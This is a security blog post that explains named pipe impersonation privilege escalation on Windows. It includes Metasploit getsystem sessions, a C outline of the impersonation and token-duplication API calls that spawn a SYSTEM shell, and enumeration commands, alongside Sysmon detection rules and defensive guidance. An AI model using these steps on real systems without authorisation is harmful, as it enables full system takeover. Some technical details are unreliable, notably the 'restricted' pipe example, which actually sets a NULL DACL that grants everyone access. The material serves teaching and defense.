Security Forem

Cover image for Named Pipe Impersonation: From Script Kiddie to Understanding the Attack
Crisa Mothflight
Crisa Mothflight

Posted on

Named Pipe Impersonation: From Script Kiddie to Understanding the Attack

Introduction

During a recent penetration test, I gained initial access to a Windows system through a low-privileged user account. As any penetration tester should do, I immediately began enumerating my privileges and available attack vectors for privilege escalation.

I ran the standard enumeration commands:

  • Listed available impersonation tokens
  • Checked current user privileges
  • Identified potential escalation paths

After confirming that I had SeImpersonatePrivilege and seeing promising indicators, I decided to research my options before blindly running commands. I investigated Metasploit's getsystem command and learned that its first technique is "Named Pipe Impersonation (In Memory/Admin)."

Armed with this knowledge, I executed the command:

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Enter fullscreen mode Exit fullscreen mode

Perfect—it worked exactly as expected. I had successfully followed a methodical approach: enumerate, research, execute, confirm.

But then I paused. What exactly had just happened under the hood?

I knew what getsystem does (Named Pipe Impersonation), and I knew when to use it (when SeImpersonatePrivilege is available), but I didn't truly understand how it works. What are named pipes? How does impersonation work at the API level? What's actually happening with the security tokens? How does Metasploit trigger a SYSTEM process to connect to the pipe?

I realized I was operating at a higher level than a pure script kiddie, but I still had a gap in my understanding. True expertise doesn't come from reading documentation and executing commands—it comes from understanding the techniques at a deep technical level.

Rather than manually implementing Named Pipe Impersonation from scratch (which Metasploit already does efficiently), I decided to thoroughly research and document exactly how this technique works, why it's effective, and how to properly identify and analyze it.

This article is the result of that investigation. My goal is to help other security professionals move beyond surface-level understanding by diving deep into one of Windows' most powerful privilege escalation techniques—and in doing so, help others achieve the same elevation in their expertise that I sought for myself.

Table of Contents

  1. Understanding Windows Named Pipes
  2. Windows Impersonation and Security Tokens
  3. The Named Pipe Impersonation Technique
  4. Metasploit's Implementation: getsystem
  5. Identifying Named Pipe Impersonation from Meterpreter
  6. Detection and Defense
  7. Conclusion

1. Understanding Windows Named Pipes

What Are Named Pipes?

Named pipes are a Windows inter-process communication (IPC) mechanism that allows processes to communicate with each other, either on the same machine or across a network. They function similarly to files, but instead of reading and writing to disk, processes read and write to memory.

Key Characteristics:

  • Named pipes exist in the \\.\pipe\ namespace on local systems
  • They follow a client-server model
  • The server creates the pipe; clients connect to it
  • Data flows bidirectionally
  • They support both synchronous and asynchronous operations

Named Pipe Security Model

Every named pipe has a security descriptor that controls:

  • Who can connect to the pipe
  • What operations they can perform
  • Whether impersonation is allowed

When a server process creates a named pipe, it can specify an impersonation level:

  1. Anonymous - The server cannot obtain information about the client
  2. Identification - The server can get the client's identity but cannot impersonate
  3. Impersonation - The server can impersonate the client's security context on the local system
  4. Delegation - The server can impersonate the client on remote systems as well

This impersonation capability is the foundation of our attack.

Why Named Pipes Matter for Security

Named pipes are everywhere in Windows:

  • RPC (Remote Procedure Call) communications
  • Service-to-service communications
  • Administrative tools
  • Background processes

Many of these pipes are created by high-privilege processes (SYSTEM, LocalService, NetworkService), and if they allow impersonation, they become targets for privilege escalation.


2. Windows Impersonation and Security Tokens

Access Tokens in Windows

Every process and thread in Windows runs under a security context defined by an access token. This token contains:

  • User's Security Identifier (SID)
  • Group memberships
  • Privileges (e.g., SeDebugPrivilege, SeImpersonatePrivilege)
  • Default DACL (Discretionary Access Control List)
  • Session ID

What is Impersonation?

Impersonation allows a thread to execute in a security context different from the process that owns the thread. This is a legitimate Windows feature designed for scenarios like:

  • A web server handling requests on behalf of different users
  • A service performing actions with the caller's privileges
  • Database servers executing queries in the context of the connected user

The SeImpersonatePrivilege

This is the key privilege that makes Named Pipe Impersonation possible. Users and processes with SeImpersonatePrivilege can impersonate any token they can obtain a handle to.

Who has SeImpersonatePrivilege by default?

  • Administrators
  • Local Service accounts
  • Network Service accounts
  • IIS application pool identities
  • SQL Server service accounts
  • Many other service accounts

This means that even "low-privilege" service accounts often have this powerful privilege—they're low-privilege in terms of file system access, but high-privilege in terms of impersonation capabilities.

Primary vs. Impersonation Tokens

Primary Token:

  • Assigned to processes
  • Represents the security context of the process
  • Created when a user logs on

Impersonation Token:

  • Assigned to threads
  • Temporary token used to execute code in a different security context
  • Can be obtained through various means, including named pipe connections

3. The Named Pipe Impersonation Technique

The Attack Flow

The Named Pipe Impersonation technique exploits the legitimate impersonation feature of Windows named pipes. Here's how it works:

Step 1: Verify Prerequisites

The attacker needs:

  • Code execution on the target system (even with low privileges)
  • An account with SeImpersonatePrivilege enabled
  • Ability to create named pipes

Step 2: Create a Named Pipe

The attacker creates a named pipe with a security descriptor that allows:

  • Any user to connect (including SYSTEM)
  • Impersonation of connecting clients
Example named pipe: \\.\pipe\RandomPipeName12345
Enter fullscreen mode Exit fullscreen mode

Step 3: Trigger a High-Privilege Process to Connect

This is the critical step. The attacker must trick or force a high-privilege process (ideally SYSTEM) to connect to their malicious named pipe.

Common techniques include:

  • Creating a Windows service that executes and connects to the pipe
  • Exploiting existing services that can be triggered to make connections
  • Token manipulation to spawn processes
  • COM object exploitation

Step 4: Impersonate the Connected Client

When the high-privilege process connects to the attacker's pipe, the attacker's code calls the ImpersonateNamedPipeClient() Windows API function.

This function allows the server (attacker) to impersonate the client (SYSTEM process), giving the attacker thread SYSTEM-level privileges.

Step 5: Create a New Process with Elevated Token

While impersonating SYSTEM, the attacker creates a new process (or duplicates the token) that will run with SYSTEM privileges even after the impersonation ends.

This is typically done using:

  • CreateProcessWithTokenW()
  • CreateProcessAsUser()
  • Token duplication APIs

Technical Deep Dive

Let's examine the Windows API calls involved:

// 1. Create the named pipe
HANDLE hPipe = CreateNamedPipe(
    "\\\\.\\pipe\\malicious_pipe",
    PIPE_ACCESS_DUPLEX,
    PIPE_TYPE_BYTE | PIPE_WAIT,
    1,
    0,
    0,
    0,
    NULL  // Default security (or custom to allow everyone)
);

// 2. Wait for a client to connect
ConnectNamedPipe(hPipe, NULL);

// 3. Impersonate the connecting client
ImpersonateNamedPipeClient(hPipe);

// 4. Now running as the connected client (hopefully SYSTEM)
// Open a new token with the current (impersonated) context
HANDLE hToken;
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);

// 5. Duplicate the token for use in a new process
HANDLE hDuplicatedToken;
DuplicateTokenEx(
    hToken,
    TOKEN_ALL_ACCESS,
    NULL,
    SecurityImpersonation,
    TokenPrimary,
    &hDuplicatedToken
);

// 6. Create a new process with SYSTEM privileges
CreateProcessWithTokenW(
    hDuplicatedToken,
    0,
    L"C:\\Windows\\System32\\cmd.exe",
    NULL,
    // ... other parameters
);

// 7. Revert to original security context
RevertToSelf();
Enter fullscreen mode Exit fullscreen mode

Why This Works

This technique works because:

  1. Windows trusts the authentication - When a process connects to a named pipe, Windows assumes it's a legitimate operation
  2. Impersonation is a feature, not a bug - SeImpersonatePrivilege is designed to allow this behavior
  3. Service accounts have the privilege - Many low-privilege scenarios actually have SeImpersonatePrivilege
  4. Token persistence - Once duplicated, the SYSTEM token can be used even after impersonation ends

4. Metasploit's Implementation: getsystem

The getsystem Command

Metasploit's getsystem command is a Meterpreter post-exploitation module that attempts to elevate privileges to SYSTEM using multiple techniques:

meterpreter > getsystem -h
Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:
    -h   Help banner
    -t   <opt>  Technique to use (1-5, default is 0 - auto)
Enter fullscreen mode Exit fullscreen mode

The Five Techniques

  1. Named Pipe Impersonation (In-Memory/Admin) - The classic technique we're discussing
  2. Named Pipe Impersonation (Dropper/Admin) - Similar but drops a DLL to disk
  3. Token Duplication (In-Memory/Admin) - Duplicates an existing SYSTEM token
  4. Named Pipe Impersonation (RPCSS variant) - Exploits RPCSS service
  5. Named Pipe Impersonation (PrintSpooler variant) - Exploits Print Spooler

Technique 1 is the default and most commonly used.

How Metasploit Implements Technique 1

When you run getsystem -t 1, here's what happens:

Phase 1: Preparation

meterpreter > getsystem -t 1
Enter fullscreen mode Exit fullscreen mode

Metasploit checks:

  • Current privilege level
  • Whether SeImpersonatePrivilege is available
  • If the session is already SYSTEM (if so, nothing to do)

Phase 2: Named Pipe Creation

Metasploit creates a named pipe with a randomly generated name:

\\.\pipe\[random_string]
Enter fullscreen mode Exit fullscreen mode

The pipe is configured to:

  • Allow any client to connect
  • Enable impersonation of connecting clients

Phase 3: Service Creation and Triggering

This is where Metasploit's implementation shines. It creates a temporary Windows service that:

  • Runs with SYSTEM privileges (services run as SYSTEM by default)
  • Executes a small payload that connects to the attacker's named pipe
  • Triggers immediately and then cleans itself up

The service creation process:

1. Connect to the Service Control Manager (SCM)
2. Create a service with a command that connects to the pipe
3. Start the service
4. The service runs as SYSTEM and connects to our pipe
5. Delete the service (cleanup)
Enter fullscreen mode Exit fullscreen mode

Phase 4: Impersonation

When the SYSTEM service connects to the named pipe:

1. Metasploit's code calls ImpersonateNamedPipeClient()
2. The thread is now running as SYSTEM
3. A SYSTEM token is duplicated
4. A new process/thread is spawned with SYSTEM privileges
Enter fullscreen mode Exit fullscreen mode

Phase 5: Meterpreter Elevation

Metasploit doesn't just get a SYSTEM token—it migrates the Meterpreter session to run under SYSTEM:

1. The duplicated SYSTEM token is used
2. A new thread is created in the Meterpreter process with SYSTEM context
3. The session privileges are updated
Enter fullscreen mode Exit fullscreen mode

Result:

meterpreter > getsystem -t 1
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Enter fullscreen mode Exit fullscreen mode

Why Metasploit's Implementation is Elegant

  1. In-Memory: No files dropped to disk (stealthier)
  2. Automated: Handles all the complex API calls
  3. Self-Cleaning: Removes the temporary service
  4. Reliable: Falls back to other techniques if needed
  5. Fast: Executes in seconds

5. Identifying Named Pipe Impersonation from Meterpreter

Now that we understand what getsystem does, let's learn how to identify and analyze this technique from a Meterpreter session.

Pre-Escalation Enumeration

Before running getsystem, you should verify the conditions are right:

Check Current Privileges:

meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeChangeNotifyPrivilege
SeImpersonatePrivilege          <-- KEY PRIVILEGE!
SeIncreaseWorkingSetPrivilege
Enter fullscreen mode Exit fullscreen mode

If you see SeImpersonatePrivilege, you're likely able to use Named Pipe Impersonation.

Check Current User:

meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool
Enter fullscreen mode Exit fullscreen mode

Service accounts, IIS app pools, and similar accounts typically have SeImpersonatePrivilege.

Enumerate Available Tokens:

meterpreter > use incognito
Loading extension incognito...Success.

meterpreter > list_tokens -u

Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM                    <-- Target token!
DOMAIN\Administrator

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
Enter fullscreen mode Exit fullscreen mode

If you see SYSTEM tokens available, you might be able to steal them directly without Named Pipe Impersonation.

Running getsystem with Verbosity

Enable detailed output to see what's happening:

meterpreter > getsystem -t 1 -v
[*] Attempting to get SYSTEM via technique 1 (Named Pipe Impersonation (In Memory/Admin))
[*] Creating named pipe: \\.\pipe\msf-pipe-12345
[*] Creating service: msf-service-67890
[*] Starting service...
[*] Service started successfully
[*] Waiting for connection on named pipe...
[*] Client connected to pipe
[*] Impersonating client token...
[*] Duplicating token...
[*] Creating new process with SYSTEM token...
[+] Got SYSTEM via technique 1
Enter fullscreen mode Exit fullscreen mode

Post-Escalation Verification

After running getsystem, verify the escalation:

Verify User Context:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Enter fullscreen mode Exit fullscreen mode

Verify Privileges:

meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeBackupPrivilege
SeDebugPrivilege              <-- SYSTEM has this!
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege
SeLoadDriverPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeSystemEnvironmentPrivilege
SeTakeOwnershipPrivilege
... (many more)
Enter fullscreen mode Exit fullscreen mode

SYSTEM has significantly more privileges than a standard service account.

Check Process Integrity Level:

meterpreter > shell
C:\> whoami /groups

GROUP INFORMATION
-----------------
...
Mandatory Label\System Mandatory Level  <-- SYSTEM integrity!
Enter fullscreen mode Exit fullscreen mode

Monitoring the Attack in Real-Time

If you want to see the named pipe being created, you can use PowerShell or third-party tools:

List Named Pipes (PowerShell):

[System.IO.Directory]::GetFiles("\\.\\pipe\\")
Enter fullscreen mode Exit fullscreen mode

You'll see pipes like:

\\.\pipe\msf-pipe-12345
\\.\pipe\msf-pipe-67890
Enter fullscreen mode Exit fullscreen mode

Monitor Service Creation (from another session):

Get-Service | Where-Object {$_.DisplayName -like "*msf*"}
Enter fullscreen mode Exit fullscreen mode

You'll briefly see the temporary service before it's deleted.

Alternative: Manual Enumeration Without Metasploit

If you want to understand the technique without using Metasploit:

Check for SeImpersonatePrivilege manually:

whoami /priv | findstr SeImpersonatePrivilege
Enter fullscreen mode Exit fullscreen mode

List named pipes:

dir \\.\pipe\
Enter fullscreen mode Exit fullscreen mode

Check which processes can create services:

sc.exe qc <service_name>
Enter fullscreen mode Exit fullscreen mode

Common Indicators of Named Pipe Impersonation

When analyzing logs or conducting forensics:

  1. Event ID 7045 - A service was installed (if technique creates a service)
  2. Event ID 4688 - A new process has been created (process with SYSTEM privileges spawned)
  3. Unusual named pipes - Pipes with random names in \\.\pipe\
  4. Short-lived services - Services created and deleted within seconds
  5. Token manipulation events - Event ID 4672 (special privileges assigned to new logon)

6. Detection and Defense

Detection Strategies

1. Monitor Named Pipe Creation

Use Sysmon (Event ID 17, 18) to log named pipe events:

<RuleGroup name="PipeEvents">
  <PipeEvent onmatch="include">
    <Rule groupRelation="or">
      <Image condition="contains">suspicious.exe</Image>
      <PipeName condition="contains">msf-pipe</PipeName>
    </Rule>
  </PipeEvent>
</RuleGroup>
Enter fullscreen mode Exit fullscreen mode

2. Service Creation Monitoring

Alert on:

  • Rapid service creation and deletion
  • Services with unusual names (random strings)
  • Services that execute immediately after creation
  • Services created by non-administrative processes

3. Token Impersonation Monitoring

Watch for:

  • Event ID 4672: Special privileges assigned to new logon
  • Processes spawning with higher integrity levels than their parent
  • Unusual process ancestry (e.g., IIS worker process spawning cmd.exe as SYSTEM)

4. Behavioral Analysis

Flag:

  • Web application processes (w3wp.exe, java.exe) spawning system tools
  • Service account processes creating named pipes
  • Processes using SeImpersonatePrivilege in unexpected ways

Defensive Measures

1. Principle of Least Privilege

  • Avoid running services with SeImpersonatePrivilege when not necessary
  • Use group Managed Service Accounts (gMSA) with minimal required privileges
  • Regularly audit service account privileges

2. Application Whitelisting

  • Implement AppLocker or Windows Defender Application Control
  • Prevent unauthorized executables from running
  • Restrict script execution

3. Disable Unnecessary Services

  • Audit and disable services that aren't required
  • Particular attention to:
    • Print Spooler (if not needed)
    • Remote Registry
    • Server service (if not providing file shares)

4. Network Segmentation

  • Limit lateral movement opportunities
  • Implement micro-segmentation
  • Use host-based firewalls

5. Endpoint Detection and Response (EDR)

Deploy EDR solutions that can:

  • Detect behavioral anomalies
  • Monitor API calls (ImpersonateNamedPipeClient, CreateProcessWithTokenW)
  • Alert on privilege escalation attempts
  • Provide automated response

6. Harden Service Accounts

For accounts that MUST have SeImpersonatePrivilege:

  • Implement strong authentication
  • Monitor their activity closely
  • Use managed service accounts when possible
  • Implement Credential Guard

7. Patch Management

  • Keep systems updated
  • Apply security patches promptly
  • Some patches address specific privilege escalation vectors

Specific Mitigations for Named Pipe Impersonation

Option 1: Remove SeImpersonatePrivilege (if possible)

For accounts where it's not needed:

ntrights -u ServiceAccount -r SeImpersonatePrivilege
Enter fullscreen mode Exit fullscreen mode

Option 2: Implement Named Pipe Restrictions

Use stricter security descriptors when creating named pipes:

// Create pipe with restricted access
SECURITY_ATTRIBUTES sa;
SECURITY_DESCRIPTOR sd;

InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE);

sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = &sd;
sa.bInheritHandle = FALSE;

CreateNamedPipe(pipeName, ... , &sa);
Enter fullscreen mode Exit fullscreen mode

Option 3: Monitor and Alert

Set up alerts for:

  • sc.exe create commands from unexpected processes
  • New named pipes matching suspicious patterns
  • Rapid service lifecycle (create → start → delete)

7. Conclusion

Named Pipe Impersonation is a powerful privilege escalation technique that exploits legitimate Windows functionality. Understanding this technique at a deep level transforms you from someone who merely runs getsystem into a security professional who knows:

  • Why the attack works (impersonation feature + SeImpersonatePrivilege)
  • How it's implemented (named pipes + service creation + token manipulation)
  • Where to find it (Metasploit's technique 1, but also manual implementations)
  • When it's applicable (service accounts, app pools, any context with SeImpersonatePrivilege)
  • What to look for when identifying it (specific API calls, event IDs, behavioral patterns)

Key Takeaways

For Offensive Security Professionals:

  1. Always enumerate privileges before attempting privilege escalation
  2. getsystem is powerful, but understanding it makes you more effective
  3. Know the alternatives if Named Pipe Impersonation fails
  4. Consider operational security—some techniques are noisier than others

For Defensive Security Professionals:

  1. SeImpersonatePrivilege is a high-value target—monitor its usage
  2. Service creation patterns can reveal privilege escalation attempts
  3. Behavioral analysis is more effective than signature-based detection
  4. Defense in depth: combine multiple detection and prevention strategies

For All Security Professionals:

  1. Expertise comes from understanding, not just executing
  2. Every tool is an opportunity to learn the underlying technique
  3. The line between legitimate functionality and exploitation is thin
  4. Continuous learning and questioning is essential

Moving Beyond Script Kiddie Status

The journey from script kiddie to skilled security professional isn't about memorizing more commands—it's about developing a deep understanding of the systems you're working with. When you run getsystem, you're not just escalating privileges; you're:

  • Exploiting Windows' impersonation mechanism
  • Leveraging service architecture
  • Manipulating security tokens
  • Understanding process security contexts
  • Navigating Windows API complexity

Each command you run is an opportunity to ask: "How does this actually work?"

By taking the time to understand Named Pipe Impersonation—not just use it—you've elevated your expertise. You can now:

  • Recognize when this technique is applicable
  • Implement it manually if needed
  • Develop detection strategies
  • Explain it to others
  • Adapt it to new scenarios

That's what separates professionals from script kiddies.

Further Reading and Resources

Official Documentation:

  • Microsoft: Named Pipes (MSDN)
  • Microsoft: Access Tokens Overview
  • Microsoft: Impersonation and Delegation

Security Research:

  • Windows Privilege Escalation Guide (FuzzySecurity)
  • Metasploit getsystem Source Code
  • Windows Privilege Escalation Fundamentals (SANS)

Tools:

  • Metasploit Framework
  • PowerUp.ps1 (PowerSploit)
  • Incognito (Token Manipulation)
  • Sysmon (Detection)

Practice Environments:

  • HackTheBox
  • TryHackMe
  • Pentester Lab
  • Your own lab (safely!)

Final Thoughts

The next time you're in a Meterpreter session and type getsystem, take a moment to appreciate what's happening under the hood. You're not just running a command—you're orchestrating a sophisticated attack that:

  1. Creates an IPC mechanism
  2. Tricks the operating system into connecting high-privilege processes
  3. Exploits a legitimate feature (impersonation)
  4. Manipulates security tokens
  5. Spawns new processes with elevated privileges

And now, you understand every step of that process.

That's not script kiddie behavior. That's expertise.

Keep questioning, keep learning, and keep elevating—both your privileges and your understanding.


Remember: This information is provided for educational and authorized penetration testing purposes only. Always obtain proper authorization before testing any systems, and always operate within legal and ethical boundaries.


About the Author:

This article was written as a result of penetration testing experience and a commitment to continuous learning in offensive security. The goal is to help other security professionals move beyond tool usage and develop deep technical understanding.

If you found this article helpful, please share it with others who are on the same journey to become a skilled professional.

Top comments (0)